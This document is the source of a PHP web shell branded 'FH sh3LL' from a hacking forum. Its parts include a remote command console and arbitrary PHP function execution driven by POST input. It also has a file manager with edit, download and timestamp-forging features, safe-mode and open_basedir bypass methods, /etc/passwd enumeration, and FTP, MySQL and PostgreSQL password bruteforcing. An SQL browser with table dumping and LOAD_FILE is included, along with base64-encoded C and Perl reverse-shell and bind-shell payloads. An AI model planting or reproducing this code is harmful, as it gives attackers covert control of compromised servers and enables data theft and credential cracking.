if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(function_exists($_POST['p1']))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
echo '<h1>String conversions</h1><div class=content>';
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'bin2hex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(function_exists($_POST['p1']))
echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div>";
printFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: ".$type);
}
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
} elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
}
exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
printHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
printFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
$gid = @posix_getgrgid(@fileowner($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
else
die('<script>g(null,null,null,null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
@file_put_contents($_POST['p1'],$_POST['p3']);
echo 'Saved!<br><script>document.mf.p3.value="";</script>';
}
echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(@touch($_POST['p1'],$time,$time))
die('<script>g(null,null,null,null,"")</script>');
else {
echo 'Fail!<script>document.mf.p3.value="";</script>';
}
} else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
}
echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
case 'mkfile':
break;
}
echo '</div>';
printFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".SELF_PATH);
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
case 6:
if(!function_exists('imap_open'))break;
$stream = imap_open($_POST['p2'], "", "");
if ($stream == FALSE)
break;
echo imap_body($stream, 1);
imap_close($stream);
break;
}
$temp = ob_get_clean();
printHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
echo '</div>';
printFooter();
}
function actionConsole() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "document.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "document.mf.c.value='".$GLOBALS['cwd']."';";
}
}
echo "document.cf.output.value+='".$temp."';";
echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
echo '<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push("");
cur = cmds.length-1;
}
</script>';
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));
}
echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
echo '</form></div><script>document.cf.cmd.focus();</script>';
printFooter();
}
function actionLogout() {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo '<body bgcolor="#444"><center><img src="http://img9.imageshack.us/img9/6521/logodsz.png" alt="FH"><br><br><h1><font color="white">Visita-nos: <a href="http://www.forum-hacker.com.br/forum">Forum-Hacker</a></font></h1></center></body>';
}
function actionSelfRemove() {
printHeader();
if($_POST['p1'] == 'yes') {
if(@unlink(SELF_PATH))
die('FH sh3LL foi removida com sucesso!');
else
echo 'Erro!';
}
echo '<h1>FH sh3LL: </h1><div class=content>Queres mesmo remover a shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
printFooter();
}
function actionBruteforce() {
printHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
$res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="Team FH"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
printFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_list_dbs($this->link);
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error($this->link);
break;
case 'pgsql':
return @pg_last_error($this->link);
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'mysql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function dump($table) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
echo $create[1].";
";
$this->query('SELECT * FROM `'.$table.'`');
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
}
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
}
break;
}
return false;
}
};
$db = new DbClass(@$_POST['type']);
if(@$_POST['p2']=='download') {
ob_start("ob_gzhandler", 4096);
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
}
printHeader();
echo '<h1>Sql browser</h1><div class=content>
<form name="sf" method="post">
<table cellpadding="2" cellspacing="0">
<tr>
<td>Type</td>
<td>Host</td>
<td>Login</td>
<td>Password</td>
<td>Database</td>
<td></td>
</tr>
<tr>
<input type=hidden name=a value=Sql>
<input type=hidden name=p1 value=\'query\'>
<input type=hidden name=p2>
<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
<td>
<select name=\'type\'>
<option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
<option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
</select></td>
<td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
<td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
<td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
<td>';
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo '</td>
<td><input type=submit value=">>"></td>
</tr>
</table>
<script>
function st(t,l) {
document.sf.p1.value = \'select\';
document.sf.p2.value = t;
if(l!=null)document.sf.p3.value = l;
document.sf.submit();
}
function is() {
for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
}
</script>';
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
$num = $db->fetch();
$num = $num['n'];
echo "<span>".$_POST['p2']."</span> ($num) ";
for($i=0;$i<($num/30);$i++)
if($i != (int)$_POST['p3'])
echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
else
echo ($i+1)," ";
if($_POST['type']=='pgsql')
$_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
$db->query(@$_POST['p3']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
if(@$_POST['p1'] == 'loadfile') {
$db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
$file = $db->fetch();
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
}
echo '</div>';
printFooter();
}
function actionNetwork() {
printHeader();
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
